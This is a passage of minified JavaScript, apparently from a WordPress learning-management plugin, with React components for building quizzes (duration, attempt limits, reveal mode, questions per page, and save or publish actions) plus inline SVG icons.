l().createElement(Ha.M,null,l().createElement(yi.Q7,(0,Re.A)({},t,{flex:"1",min:0}),l().createElement(yi.OO,{rounded:"sm"}),l().createElement(yi.lw,null,l().createElement(yi.Q0,null),l().createElement(yi.Sh,null))),l().createElement(cs.r0,null,(0,E.__)("Hours","learning-management-system")))}}),l().createElement(ui.Wt,null,(null==c?void 0:c.duration_hour)&&(null==c||null===(r=c.duration_hour)||void 0===r?void 0:r.message))),l().createElement(Ne.MJ,{isInvalid:!(null==c||!c.duration_minute)},l().createElement(Je.xI,{name:"duration_minute",defaultValue:y||0,rules:{required:(0,E.__)("Minutes is required.","learning-management-system"),min:0,max:59},render:e=>{var{field:t}=e;return l().createElement(Ha.M,null,l().createElement(yi.Q7,(0,Re.A)({},t,{flex:"1",min:0,max:59}),l().createElement(yi.OO,{rounded:"sm"}),l().createElement(yi.lw,null,l().createElement(yi.Q0,null),l().createElement(yi.Sh,null))),l().createElement(cs.r0,null,(0,E.__)("Minutes","learning-management-system")))}}),l().createElement(ui.Wt,null,(null==c?void 0:c.duration_minute)&&(null==c||null===(i=c.duration_minute)||void 0===i?void 0:i.message))))),l().createElement(Fa,null,l().createElement(Ge.l,null,(0,E.__)("Enable Reveal Mode","learning-management-system"),l().createElement($n.m,{label:(0,E.__)("When enabled, users are limited to a single quiz attempt, and all correct answers are displayed upon submission.","learning-management-system"),hasArrow:!0,fontSize:"xs"},l().createElement(Qe.a,{as:"span",sx:en},l().createElement($e.I,{as:kt.wfp})))),l().createElement(Je.xI,{name:"reveal_mode",render:e=>{var{field:t}=e;return l().createElement(qa.d,(0,Re.A)({},t,{defaultChecked:null==m?void 0:m.reveal_mode}))}})),l().createElement(Fa,null,l().createElement(Ge.l,null,(0,E.__)("Attempts Allowed","learning-management-system")),l().createElement(ja.z,{onChange:f,value:v},l().createElement(d.B,{direction:"column",spacing:"4"},l().createElement(d.B,{direction:"row",spacing:"8",align:"flex-start"},l().createElement(Va.s,{onChange:e=>u("attempts_allowed",e.target.value),value:"0",isDisabled:w},(0,E.__)("No limit","learning-management-system")),l().createElement(Va.s,{value:"1",onChange:()=>u("attempts_allowed",(null==m?void 0:m.attempts_allowed)||5)},(0,E.__)("Limit","learning-management-system")))))),l().createElement(Fa,{isInvalid:!(null==c||!c.attempts_allowed)},l().createElement(Ge.l,null,(0,E.__)("Number of Attempts","learning-management-system")),l().createElement(Je.xI,{name:"attempts_allowed",defaultValue:(null==m?void 0:m.attempts_allowed)||0,rules:{required:(0,E.__)("Attempts allowed is required.","learning-management-system")},render:e=>{var{field:t}=e;return l().createElement(Ha.M,null,l().createElement(yi.Q7,(0,Re.A)({},t,{w:"full",min:1}),l().createElement(yi.OO,{rounded:"sm"}),l().createElement(yi.lw,null,l().createElement(yi.Q0,null),l().createElement(yi.Sh,null))),l().createElement(cs.r0,null,(0,E.__)("Attempts","learning-management-system")))}}),l().createElement(ui.Wt,null,(null==c?void 0:c.attempts_allowed)&&(null==c||null===(o=c.attempts_allowed)||void 0===o?void 0:o.message))))),l().createElement(Km.K,null,l().createElement(d.B,{direction:"column",spacing:"6"},l().createElement(Fa,null,l().createElement(Ge.l,null,(0,E.__)("Questions Per Page","learning-management-system"),l().createElement(tl,{label:(0,E.__)("Total number of questions to be shown per page for a quiz.","learning-management-system")})),l().createElement(d.B,{direction:"column",spacing:"4"},l().createElement(Je.xI,{name:"questions_display_per_page",defaultValue:h,render:e=>{var{field:t}=e;return l().createElement(ja.z,t,l().createElement(d.B,{direction:"row",spacing:"6",align:"flex-start"},l().createElement(Va.s,{value:"0"},(0,E.__)("From Global Settings","learning-management-system")),l().createElement(Va.s,{value:"1"},(0,E.__)("Set Individually","learning-management-system"))))}}),l().createElement(_t.S,{in:"0"!==b,animateOpacity:!0},l().createElement(Ne.MJ,{isInvalid:!(null==c||!c.questions_display_per_page)},l().createElement(Je.xI,{name:"questions_display_per_page_custom",defaultValue:(null==m?void 0:m.questions_display_per_page)||5,rules:{required:(0,E.__)("Questions per page is required.","learning-management-system")},render:e=>{var{field:t}=e;return l().createElement(yi.Q7,(0,Re.A)({},t,{defaultValue:(null==m?void 0:m.questions_display_per_page)||5,w:"full",min:1,max:999}),l().createElement(yi.OO,{rounded:"sm"}),l().createElement(yi.lw,null,l().createElement(yi.Q0,null),l().createElement(yi.Sh,null)))}}),l().createElement(ui.Wt,null,(null==c?void 0:c.questions_display_per_page)&&(null==c||null===(s=c.questions_display_per_page)||void 0===s?void 0:s.message)))))))))))};function Ew(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function yw(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?Ew(Object(n),!0).forEach((function(t){(0,F.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):Ew(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}const vw=()=>{var e,t,{sectionId:n,courseId:a}=(0,vt.g)(),r=(0,Je.mN)(),i=(0,vt.Zp)(),o=(0,We.d)(),m=new mt(rt.sections),c=new mt(rt.quizes),u=new mt(rt.courses),{draftCourse:A,publishCourse:y}=Cy(),v=(0,s.jE)(),f={fontWeight:"medium",py:"4"},h=(0,Pn.I)({queryKey:["course".concat(a),a],queryFn:()=>u.get(a)}),b=(0,Pn.I)({queryKey:["section".concat(n),n],queryFn:()=>m.get(n)}),w=(0,wt.n)(yw({mutationFn:e=>c.store(e)},{onSuccess:e=>{Ee(v,["builder".concat(a),a],e,"quiz"),o({title:(0,E.__)("Quiz Added","learning-management-system"),isClosable:!0,status:"success"}),i({pathname:Pt.quiz.edit.replace(":quizId","".concat(e.id)).replace(":courseId","".concat(e.course_id)),search:"?page=questions"})}})),C=(e,t)=>{var l={course_id:a,parent_id:n,duration:60*((null==e?void 0:e.duration_hour)||0)+ +((null==e?void 0:e.duration_minute)||0),duration_hour:void 0,duration_minute:void 0,questions_display_per_page:"1"===e.questions_display_per_page?e.questions_display_per_page_custom:e.questions_display_per_page};"draft"===t&&A.mutate(a),"publish"===t&&y.mutate(a),w.mutate(ne(ee(e,l)))};return b.isSuccess&&h.isSuccess&&(null==b||null===(e=b.data)||void 0===e?void 0:e.course_id)==a?l().createElement(Je.Op,r,l().createElement(d.B,{direction:"column",spacing:"8",alignItems:"center"},l().createElement(ci,{onSaveAction:e=>r.handleSubmit((t=>C(yw(yw({},t),{},{status:e})))),isLoading:null==w?void 0:w.isPending}),l().createElement(De.m,{maxW:"container.xl"},l().createElement(d.B,{direction:"column",spacing:"6"},l().createElement(Hr,null),l().createElement(wy,{courseName:null==h||null===(t=h.data)||void 0===t?void 0:t.name,courseLink:Pt.courses.edit.replace(":courseId",a)}),l().createElement(Qe.a,{bg:"white",p:"10",shadow:"box"},l().createElement(d.B,{direction:"column",spacing:"8"},l().createElement("form",{onSubmit:r.handleSubmit((e=>C(e)))},l().createElement(d.B,{direction:"column",spacing:"6"},l().createElement(nm.t,null,l().createElement(Tm.w,{justifyContent:"center",borderBottom:"1px",borderColor:"gray.100"},l().createElement(Um.o,{sx:f},(0,E.__)("Info","learning-management-system")),l().createElement(Um.o,{sx:f},(0,E.__)("Questions","learning-management-system")),l().createElement(Um.o,{sx:f},(0,E.__)("Settings","learning-management-system"))),l().createElement(Wm.T,null,l().createElement(Km.K,{px:"0"},l().createElement(d.B,{direction:"column",spacing:"6"},l().createElement(Aw,null))),l().createElement(Km.K,{px:"0"},l().createElement(at,{status:"error"},l().createElement(g.E,{fontWeight:"bold"},(0,E.__)("Add Quiz first ","learning-management-system")),l().createElement(g.E,null,(0,E.__)("In order to add questions, you need to add a quiz first.","learning-management-system")))),l().createElement(Km.K,{px:"0"},l().createElement(pw,null)))),l().createElement(Bt.e,null,l().createElement(p.$,{colorScheme:"primary",type:"submit",isLoading:w.isPending},(0,E.__)("Add New Quiz","learning-management-system")),l().createElement(p.$,{variant:"outline",onClick:()=>i({pathname:Pt.courses.edit.replace(":courseId",a),search:"?page=builder"})},(0,E.__)("Cancel","learning-management-system"))))))))))):l().createElement(gw,null)};var fw=e=>"questions"===e?1:"settings"===e?2:0;const hw=e=>{var{defaultStep:t,quizId:n}=e,r=(0,vt.Zp)(),{search:i}=(0,vt.zy)(),{courseId:o}=(0,vt.g)(),{page:s}=M.A.parse(i),{control:m,setValue:c}=(0,Je.xW)(),u=(0,Je.FH)({control:m,name:"activeQuizStep",defaultValue:t||fw(s)}),d=[{title:(0,E.__)("Info","learning-management-system"),description:null,onClick:()=>{r(Pt.quiz.edit.replace(":courseId",o).replace(":quizId",n))},icon:ni},{title:(0,E.__)("Questions","learning-management-system"),description:null,onClick:()=>r(Pt.quiz.edit.replace(":courseId",o).replace(":quizId",n)+"?page=questions"),icon:ai},{title:(0,E.__)("Quiz Settings","learning-management-system"),description:null,onClick:()=>r(Pt.quiz.edit.replace(":courseId",o).replace(":quizId",n)+"?page=settings"),icon:wa}],g=e=>e===u;return(0,a.useEffect)((()=>{c("activeQuizStep",t||fw(s))}),[c,s,t]),l().createElement(Xr.C,{index:u,gap:"3",py:2,bg:"white",borderRadius:"md",w:"md",mx:"auto",mb:6},d.map(((e,t)=>l().createElement(Yr.p,{key:t,cursor:"pointer",role:"group",onClick:()=>{e.onClick(),c("activeStep",t,{shouldValidate:!1})},gap:2},l().createElement(Zr.S,{border:"none",sx:{bg:"whisper-gray !important"},boxSize:"9",_groupHover:u!==t?{border:"1px",borderColor:"primary.500"}:{}},l().createElement($e.I,{as:e.icon,fontSize:"18px",fill:g(t)?"primary.500":"gray.700",_groupHover:{fill:"primary.500"}})),l().createElement(Qe.a,{flexShrink:0},l().createElement($r.J,{color:g(t)?"primary.500":"urban-ash",fontSize:"sm",fontWeight:"medium"},e.title),e.description&&l().createElement(ei.T,null,e.description)),l().createElement(ti.m,{sx:{minWidth:"46px !important",height:"1px !important",bg:"smoke-gray !important"},_groupHover:{bg:"gray.200 !important"}})))))};const bw=e=>{var{defaultValue:t,QuizName:n,data:r,isDrafted:i,isPublished:o,methods:s,onSubmit:m}=e,[c,u]=(0,a.useState)(t),[d,g]=(0,a.useState)(""),{setValue:A}=(0,Je.xW)(),p=(0,a.useCallback)((e=>{var t=(0,zl.serialize)([(0,zl.createBlock)("core/paragraph",{content:e})]);u(t),A("description",t),g(e)}),[A]),y=[{label:(0,E.__)("Preview","learning-management-system"),action:()=>{var e;return window.open(null==r||null===(e=r.data)||void 0===e?void 0:e.preview_link,"_blank")},variant:"tertiary"},{label:i&&i()?(0,E.__)("Save to Draft","learning-management-system"):(0,E.__)("Switch To Draft","learning-management-system"),action:null==s?void 0:s.handleSubmit((e=>m&&m(e,"draft"))),isLoading:null==r?void 0:r.isLoading,variant:"secondary"},{label:o&&o()?(0,E.__)("Update","learning-management-system"):(0,E.__)("Publish","learning-management-system"),action:null==s?void 0:s.handleSubmit((e=>m&&m(e))),isLoading:null==r?void 0:r.isLoading,variant:"primary"}];return l().createElement(Ne.MJ,null,l().createElement(ft.s,{direction:"row",alignItems:"center",justifyContent:"space-between",mb:"3"},l().createElement(Ge.l,{mb:0},(0,E.__)("Quiz Description","learning-management-system")),l().createElement(Li,{title:null!=n?n:"",onContentCreated:p,elementId:"mto-quiz-description"})),"classic_editor"===R.defaultEditor?l().createElement(Ki,{id:"mto-quiz-description",name:"description",defaultValue:c,height:100}):l().createElement(l().Fragment,null,l().createElement(Ei,{defaultValue:c,actions:y,name:"description",id:"mto-quiz-description",blockAiContent:d})))};const ww=e=>{var{methods:t,isLoading:n,onSubmit:a,quizStatus:r}=e,i=(0,Jr.A)(["sm","md"]),o=()=>!(!r||"publish"!==r);return l().createElement(l().Fragment,null,l().createElement(p.$,{variant:"outline",colorScheme:"primary",isLoading:n,onClick:t.handleSubmit((e=>{a(ee({status:"draft"},e))}))},r&&"draft"===r?(0,E.__)("Save Quiz To Draft","learning-management-system"):o()?(0,E.__)("Switch Quiz To Draft","learning-management-system"):(0,E.__)("Save Quiz To Draft","learning-management-system")),l().createElement(p.$,{size:i,colorScheme:"primary",isLoading:n,onClick:t.handleSubmit((e=>{a(ee({status:"publish"},e))}))},o()?(0,E.__)("Update Quiz","learning-management-system"):(0,E.__)("Publish Quiz","learning-management-system")))};const Cw=e=>React.createElement("svg",(0,Re.A)({xmlns:"http://www.w3.org/2000/svg",width:260,height:216,fill:"none",viewBox:"0 0 260 216",role:"img"},e),React.createElement("path",{fill:"#EBEBEB",d:"M260 179.552H0v.13h260zM233.95 187.922h-17.223v.13h17.223zM172.235 189.333h-4.52v.13h4.52zM216.206 183.094h-9.979v.13h9.979zM49.738 183.967h-22.46v.13h22.46zM57.66 183.967h-3.293v.13h3.293zM117.075 186.163H68.363v.13h48.712zM123.247 156.361H22.835a2.97 2.97 0 0 1-2.968-2.968V12.248a2.97 2.97 0 0 1 2.968-2.968h100.412a2.97 2.97 0 0 1 2.967 2.968v141.145a2.97 2.97 0 0 1-2.967 2.968M22.835 9.411a2.84 2.84 0 0 0-2.838 2.838v141.145a2.84 2.84 0 0 0 2.838 2.838h100.412a2.84 2.84 0 0 0 2.837-2.838V12.248a2.84 2.84 0 0 0-2.837-2.838zM235.722 156.361H135.311a2.97 2.97 0 0 1-2.967-2.968V12.248a2.97 2.97 0 0 1 2.967-2.968h100.411a2.97 2.97 0 0 1 2.969 2.968v141.145a2.97 2.97 0 0 1-2.969 2.968M135.311 9.411a2.84 2.84 0 0 0-2.837 2.838v141.145a2.84 2.84 0 0 0 2.837 2.838h100.411a2.84 2.84 0 0 0 2.839-2.838V12.248a2.84 2.84 0 0 0-2.839-2.838z"}),React.createElement("path",{fill:"#E6E6E6",d:"M150.639 71.215h71.646V24.297h-71.646z"}),React.createElement("path",{fill:"#F0F0F0",d:"M148.451 71.215h72.811V24.297h-72.811z"}),React.createElement("path",{fill:"#E6E6E6",d:"M150.639 80.423h71.646v-9.208h-71.646z"}),React.createElement("path",{fill:"#F0F0F0",d:"M144.811 80.423h72.81v-9.208h-72.81z"}),React.createElement("path",{fill:"#FAFAFA",d:"M218.203 68.155V27.356h-66.689v40.798z"}),React.createElement("path",{fill:"#fff",d:"m203.165 68.156-8.518-40.798h-13.292l8.518 40.798z"}),React.createElement("path",{fill:"#F0F0F0",d:"M216.785 65.109a.22.22 0 0 0 .219-.219V29.35a.219.219 0 0 0-.438 0v35.54c0 .12.099.219.219.219"}),React.createElement("path",{fill:"#fff",d:"m187.016 68.156-8.517-40.798h-5.183l8.519 40.798z"}),React.createElement("path",{fill:"#E6E6E6",d:"M151.902 68.155V27.356h-.388v40.798z"}),React.createElement("path",{fill:"#EBEBEB",d:"M147.73 31.973h71.647l.281-3.425h-71.646zM147.73 37.589h71.647l.281-3.425h-71.646zM147.73 43.206h71.647l.281-3.425h-71.646zM147.73 48.823h71.647l.281-3.425h-71.646zM147.73 54.44h71.647l.281-3.424h-71.646zM147.73 60.058h71.647l.281-3.425h-71.646z",opacity:.6}),React.createElement("path",{fill:"#E6E6E6",d:"M211.999 145.432h-15.022v2.962h15.022zM168.641 179.553h2.773v-68.154h-2.773z"}),React.createElement("path",{fill:"#F5F5F5",d:"M159.032 148.393h37.941v-2.962h-37.941z"}),React.createElement("path",{fill:"#E6E6E6",d:"M211.999 161.639h-15.022v2.962h15.022z"}),React.createElement("path",{fill:"#F5F5F5",d:"M159.032 164.6h37.941v-2.962h-37.941z"}),React.createElement("path",{fill:"#E6E6E6",d:"M211.999 113.018h-15.022v2.962h15.022z"}),React.createElement("path",{fill:"#F5F5F5",d:"M159.032 115.979h37.941v-2.962h-37.941z"}),React.createElement("path",{fill:"#E6E6E6",d:"M211.999 129.225h-15.022v2.962h15.022z"}),React.createElement("path",{fill:"#F5F5F5",d:"M159.032 132.186h37.941v-2.962h-37.941z"}),React.createElement("path",{fill:"#E6E6E6",d:"M206.582 179.553h2.773v-68.154h-2.773z"}),React.createElement("path",{fill:"#F5F5F5",d:"M194.203 179.553h2.774v-68.154h-2.774zM159.035 179.553h2.774v-68.154h-2.774z"}),React.createElement("path",{fill:"#E6E6E6",d:"M33.998 179.552h28.38v-55.064h-28.38z"}),React.createElement("path",{fill:"#FAFAFA",d:"M41.575 179.552h-7.579v-7.602H49.52z"}),React.createElement("path",{fill:"#E6E6E6",d:"M111.377 179.552h28.381v-55.064h-28.381z"}),React.createElement("path",{fill:"#FAFAFA",d:"M33.997 176.936h83.995v-52.448H33.997z"}),React.createElement("path",{fill:"#FAFAFA",d:"M110.415 179.552h7.578v-7.602h-15.524z"}),React.createElement("path",{fill:"#F0F0F0",d:"M39.876 157.157h72.237v-13.125H39.876zM39.876 173.087h72.237v-13.125H39.876z"}),React.createElement("path",{fill:"#FAFAFA",d:"M53.606 145.435h44.776a2.38 2.38 0 0 0 2.38-2.38v-.16H51.227v.16a2.38 2.38 0 0 0 2.38 2.38"}),React.createElement("path",{fill:"#F0F0F0",d:"M39.876 141.227h72.237v-13.126H39.876z"}),React.createElement("path",{fill:"#FAFAFA",d:"M53.606 129.504h44.776a2.38 2.38 0 0 0 2.38-2.38v-.16H51.227v.16a2.38 2.38 0 0 0 2.38 2.38M53.606 161.366h44.776a2.38 2.38 0 0 0 2.38-2.38v-.16H51.227v.16a2.38 2.38 0 0 0 2.38 2.38"}),React.createElement("path",{fill:"#E6E6E6",d:"M38.514 71.215h71.646V24.297H38.514z"}),React.createElement("path",{fill:"#F0F0F0",d:"M36.33 71.215h72.811V24.297h-72.81z"}),React.createElement("path",{fill:"#E6E6E6",d:"M38.514 80.423h71.646v-9.208H38.514z"}),React.createElement("path",{fill:"#F0F0F0",d:"M32.686 80.423h72.81v-9.208h-72.81z"}),React.createElement("path",{fill:"#FAFAFA",d:"M106.078 68.156V27.358h-66.69v40.798z"}),React.createElement("path",{fill:"#fff",d:"m91.04 68.156-8.518-40.798H69.231l8.518 40.798z"}),React.createElement("path",{fill:"#F0F0F0",d:"M104.66 65.109a.22.22 0 0 0 .219-.219V29.35a.219.219 0 0 0-.438 0v35.54a.22.22 0 0 0 .219.219"}),React.createElement("path",{fill:"#fff",d:"m74.891 68.156-8.518-40.798h-5.182l8.519 40.798z"}),React.createElement("path",{fill:"#E6E6E6",d:"M39.777 68.156V27.358h-.388v40.798z"}),React.createElement("path",{fill:"#EBEBEB",d:"M35.606 31.973h71.646l.281-3.425H35.887z",opacity:.6}),React.createElement("path",{fill:"#EBEBEB",d:"M35.606 33.905h71.646l.281-3.425H35.887z",opacity:.6}),React.createElement("path",{fill:"#EBEBEB",d:"M35.606 35.837h71.646l.281-3.425H35.887z",opacity:.6}),React.createElement("path",{fill:"#EBEBEB",d:"M35.606 37.769h71.646l.281-3.425H35.887z",opacity:.6}),React.createElement("path",{fill:"#EBEBEB",d:"M35.606 39.7h71.646l.281-3.425H35.887z",opacity:.6}),React.createElement("path",{fill:"#EBEBEB",d:"M35.606 41.633h71.646l.281-3.425H35.887z",opacity:.6}),React.createElement("path",{fill:"#F5F5F5",d:"M49.926 122.807h2.476V95.199h-2.476z"}),React.createElement("path",{fill:"#FAFAFA",d:"M50.246 122.787h.7V95.179h-.7zM51.238 122.788h.274V95.18h-.274z"}),React.createElement("path",{fill:"#F0F0F0",d:"M41.996 124.489h18.337a2.31 2.31 0 0 0-2.31-2.31H44.306a2.31 2.31 0 0 0-2.31 2.31M46.712 112.338a.715.715 0 0 0 .713-.713V93.524a.715.715 0 0 0-.713-.713.715.715 0 0 0-.712.713v18.101c0 .392.32.713.712.713"}),React.createElement("path",{fill:"#E0E0E0",d:"M40.078 101.761h22.174l-2.55-15.495H42.628z"}),React.createElement("path",{fill:"#F5F5F5",d:"M129.998 203.037c55.683 0 100.822-2.636 100.822-5.888s-45.139-5.888-100.822-5.888-100.822 2.636-100.822 5.888 45.14 5.888 100.822 5.888"}),React.createElement("path",{fill:"#407BFF",d:"m67.077 89.851-.518.038.69 9.589.519-.037zM68.132 104.387l-.519.038.26 3.607.519-.037zM188.552 148.507H77.19c-2.519 0-4.728-2.061-4.91-4.579L66.81 67.94c-.182-2.519 1.73-4.58 4.25-4.58H182.42c2.519 0 4.728 2.061 4.909 4.58l5.472 75.988c.181 2.518-1.731 4.579-4.25 4.579"}),React.createElement("path",{fill:"#407BFF",d:"M188.978 148.507H77.616c-2.519 0-4.728-2.061-4.91-4.579L67.236 67.94c-.182-2.519 1.73-4.58 4.25-4.58h111.362c2.519 0 4.728 2.061 4.909 4.58l5.472 75.988c.181 2.518-1.731 4.579-4.25 4.579"}),React.createElement("path",{fill:"#fff",d:"M188.978 148.507H77.616c-2.519 0-4.728-2.061-4.91-4.579L67.236 67.94c-.182-2.519 1.73-4.58 4.25-4.58h111.362c2.519 0 4.728 2.061 4.909 4.58l5.472 75.988c.181 2.518-1.731 4.579-4.25 4.579",opacity:.5}),React.createElement("path",{fill:"#407BFF",d:"M183.013 65.65H71.651q-.189 0-.373.015c-2.847.235-2.265 4.565.608 4.565h111.552c2.873 0 2.831-4.33-.05-4.565a5 5 0 0 0-.375-.015"}),React.createElement("path",{fill:"#FAFAFA",d:"M74.552 67.94a.964.964 0 0 1-.975 1.05c-.58 0-1.083-.47-1.125-1.05a.964.964 0 0 1 .974-1.05c.58 0 1.084.47 1.126 1.05M78.122 67.94a.964.964 0 0 1-.974 1.05c-.58 0-1.084-.47-1.126-1.05a.964.964 0 0 1 .975-1.05c.58 0 1.083.47 1.125 1.05M81.693 67.94a.964.964 0 0 1-.975 1.05c-.58 0-1.083-.47-1.125-1.05a.964.964 0 0 1 .974-1.05c.58 0 1.084.47 1.126 1.05"}),React.createElement("path",{fill:"#fff",d:"M186.025 140.924H79.475c-.916 0-1.713-.744-1.78-1.66l-4.5-62.49a1.524 1.524 0 0 1 1.542-1.66h106.549c.917 0 1.714.742 1.78 1.66l4.5 62.49a1.525 1.525 0 0 1-1.541 1.66"}),React.createElement("path",{fill:"#fff",d:"m141.132 117.119-1.734-24.086-5.256-3.164h-14.458l1.962 27.25z"}),React.createElement("path",{fill:"#407BFF",d:"M141.134 117.371h-19.486a.25.25 0 0 1-.251-.234l-1.963-27.25a.252.252 0 0 1 .252-.27h14.458q.07 0 .13.037l5.256 3.163c.07.042.115.116.121.197l1.734 24.086a.25.25 0 0 1-.067.19.25.25 0 0 1-.184.081m-19.252-.504h18.981l-1.706-23.686-5.083-3.06h-14.118z"}),React.createElement("path",{fill:"#EBEBEB",d:"m139.401 93.033-5.256-3.164 1.929 4.191z"}),React.createElement("path",{fill:"#407BFF",d:"M136.072 94.312a.25.25 0 0 1-.228-.147l-1.93-4.19a.252.252 0 0 1 .359-.322l5.255 3.164a.25.25 0 0 1 .12.246.25.25 0 0 1-.175.21l-3.326 1.028a.3.3 0 0 1-.075.01m-1.358-3.805 1.495 3.247 2.577-.796zM127.841 102.146a1.01 1.01 0 0 1-1.022 1.101 1.2 1.2 0 0 1-1.179-1.101 1.01 1.01 0 0 1 1.021-1.101c.608 0 1.137.493 1.18 1.101M134.982 102.146a1.01 1.01 0 0 1-1.021 1.101 1.203 1.203 0 0 1-1.181-1.101 1.01 1.01 0 0 1 1.022-1.101c.608 0 1.137.493 1.18 1.101M136.999 109.285a.25.25 0 0 1-.251-.234c-.128-1.77-2.903-3.21-6.188-3.21-2.176 0-4.13.647-5.099 1.689-.431.463-.631.962-.593 1.485a.252.252 0 0 1-.503.036c-.047-.659.204-1.303.726-1.865 1.062-1.141 3.157-1.849 5.469-1.849 3.603 0 6.542 1.616 6.691 3.677a.254.254 0 0 1-.234.27zM123.784 99.916a.253.253 0 0 1-.186-.423l1.105-1.19a.252.252 0 0 1 .37.343l-1.104 1.19a.25.25 0 0 1-.185.08M136.481 99.916a.25.25 0 0 1-.172-.067l-1.276-1.19a.252.252 0 1 1 .344-.369l1.276 1.19a.253.253 0 0 1-.172.436M118.113 122.503h1.175l1.696 2.254-.162-2.254h1.186l.293 4.073h-1.186l-1.687-2.236.162 2.236h-1.184zM122.833 124.542q-.072-.998.444-1.554.516-.555 1.508-.555 1.017 0 1.606.546t.66 1.529q.053.714-.156 1.171a1.54 1.54 0 0 1-.643.711q-.436.255-1.114.255-.689 0-1.156-.22a1.9 1.9 0 0 1-.782-.695q-.316-.474-.367-1.188m1.259.005q.044.617.293.887.249.269.643.269.405 0 .609-.264t.154-.948q-.042-.574-.293-.84a.85.85 0 0 0-.648-.265q-.38 0-.592.269-.211.27-.166.892M129.5 122.503h1.87q.553 0 .904.15t.594.43.369.653q.127.373.157.789.048.653-.076 1.013-.122.36-.369.603-.246.243-.543.323a2.8 2.8 0 0 1-.742.112h-1.87zm1.325.922.16 2.226h.308q.395 0 .555-.087a.54.54 0 0 0 .24-.306q.079-.218.043-.707-.047-.648-.275-.886-.228-.24-.717-.239h-.314zM136.411 125.903h-1.429l-.15.672h-1.285l1.237-4.073h1.373l1.824 4.073h-1.318zm-.324-.881-.556-1.464-.339 1.464zM137.41 122.503h3.826l.072 1.006h-1.283l.221 3.067h-1.259l-.221-3.067h-1.283zM144.169 125.903h-1.429l-.15.672h-1.285l1.237-4.073h1.373l1.824 4.073h-1.318zm-.325-.881-.554-1.464-.34 1.464z"}));const xw=e=>React.createElement("svg",(0,Re.A)({xmlns:"http://www.w3.org/2000/svg",width:20,height:20,fill:"none",viewBox:"0 0 20 20",role:"img"},e),React.createElement("path",{stroke:"#4584FF",strokeLinecap:"round",strokeLinejoin:"round",strokeWidth:1.333,d:"M3.334 7.334h13.333a1 1 0 0 1 1 1v8.333a1 1 0 0 1-1 1H3.334a1 1 0 0 1-1-1V8.334a1 1 0 0 1 1-1"}),React.createElement("path",{stroke:"#4584FF",strokeLinecap:"round",strokeLinejoin:"round",strokeWidth:1.333,d:"M8.426 11.05c.127-.35.377-.645.707-.833a1.66 1.66 0 0 1 1.095-.194c.377.062.72.253.965.537.247.284.382.644.381 1.015 0 1.049-1.62 1.573-1.62 1.573M10 15h.006"}),React.createElement("path",{stroke:"#4584FF",strokeLinecap:"round",strokeWidth:1.333,d:"M6.852 2.5h6.296M4.49 4.861h11.02"}));var Sw=(0,a.createContext)({submitQuestionDisabled:!1});const Bw=e=>{var{children:t}=e,[n,r]=(0,a.useState)(!1),i=(0,a.useMemo)((()=>({submitQuestionDisabled:n,setSubmitQuestionDisabled:r})),[n,r]);return l().createElement(Sw.Provider,{value:i},t)};const Iw=e=>React.createElement("svg",(0,Re.A)({xmlns:"http://www.w3.org/2000/svg",fillRule:"evenodd",strokeLinejoin:"round",strokeMiterlimit:2,clipRule:"evenodd",viewBox:"0 0 28 28",role:"img"},e),React.createElement("path",{fill:"#ebebeb",d:"M3.593 3.475h21.773v21.371H3.593z"}),React.createElement("path",{fill:"#af6ded",d:"M28 3c0-1.656-1.344-3-3-3H3C1.344 0 0 1.344 0 3v22c0 1.656 1.344 3 3 3h22c1.656 0 3-1.344 3-3zM16.831 15.367c-.2.206-.347.461-.428.741l-.401 1.392h-.652a.29.29 0 0 1-.267-.178c-.316-.652-1.219-.829-1.738-.387l-.366-1.138a.63.63 0 0 0-.6-.449.63.63 0 0 0-.599.449l-.48 1.494a.29.29 0 0 1-.279.209h-.326a.43.43 0 0 0-.422.438.43.43 0 0 0 .422.437h.326a1.14 1.14 0 0 0 1.079-.807l.28-.872.442 1.38c.027.082.076.154.142.207s.145.085.229.091l.029.001a.42.42 0 0 0 .377-.242l.202-.419c.073-.153.209-.17.264-.17s.191.016.268.179c.194.402.584.652 1.017.652h1.664v1.313H9.43V8.315h4.213v2.843c0 .364.281.656.632.656h2.739v2.133l1.264-1.301v-2.037c0-.347-.136-.684-.373-.93l-2.209-2.293A1.24 1.24 0 0 0 14.803 7H9.43c-.697.003-1.263.591-1.263 1.315v11.373c0 .724.566 1.312 1.263 1.312h7.582c.698 0 1.266-.588 1.266-1.312v-2.057l3.546-3.707-1.788-1.856zm6.306-3.792-.839-.871a.653.653 0 0 0-.948 0l-.718.745 1.788 1.856.717-.745a.715.715 0 0 0 0-.985m-8.231-3.153 2.004 2.08h-2.004z"}));const Ow=e=>React.createElement("svg",(0,Re.A)({xmlns:"http://www.w3.org/2000/svg",xmlSpace:"preserve",style:{fillRule:"evenodd",clipRule:"evenodd",strokeLinejoin:"round",strokeMiterlimit:2},viewBox:"0 0 26 26",role:"img"},e),React.createElement("path",{d:"M26 3c0-1.656-1.344-3-3-3H3C1.344 0 0 1.344 0 3v20c0 1.656 1.344 3 3 3h20c1.656 0 3-1.344 3-3z",style:{fill:"#e75050"}}),React.createElement("path",{d:"M11.333 5.5h-5a.833.833 0 0 0-.833.833v5a.833.833 0 0 0 .833.834h5a.84.84 0 0 0 .59-.244.84.84 0 0 0 .244-.59v-5a.833.833 0 0 0-.834-.833m-.833 5H7.167V7.167H10.5zm4.167 1.667h5a.833.833 0 0 0 .833-.834v-5a.833.833 0 0 0-.833-.833h-5a.833.833 0 0 0-.834.833v5c0 .221.088.433.244.59a.84.84 0 0 0 .59.244m.833-5h3.333V10.5H15.5zm-10 12.5a.833.833 0 0 0 .833.833h5a.833.833 0 0 0 .834-.833v-5a.84.84 0 0 0-.244-.59.84.84 0 0 0-.59-.244h-5a.833.833 0 0 0-.833.834zM7.167 15.5H10.5v3.333H7.167zm6.666 4.167a.833.833 0 0 0 .834.833h5a.833.833 0 0 0 .833-.833v-5a.833.833 0 0 0-.833-.834h-5a.84.84 0 0 0-.59.244.84.84 0 0 0-.244.59zM15.5 15.5h3.333v3.333H15.5z",style:{fill:"#fff",fillRule:"nonzero"}}));const 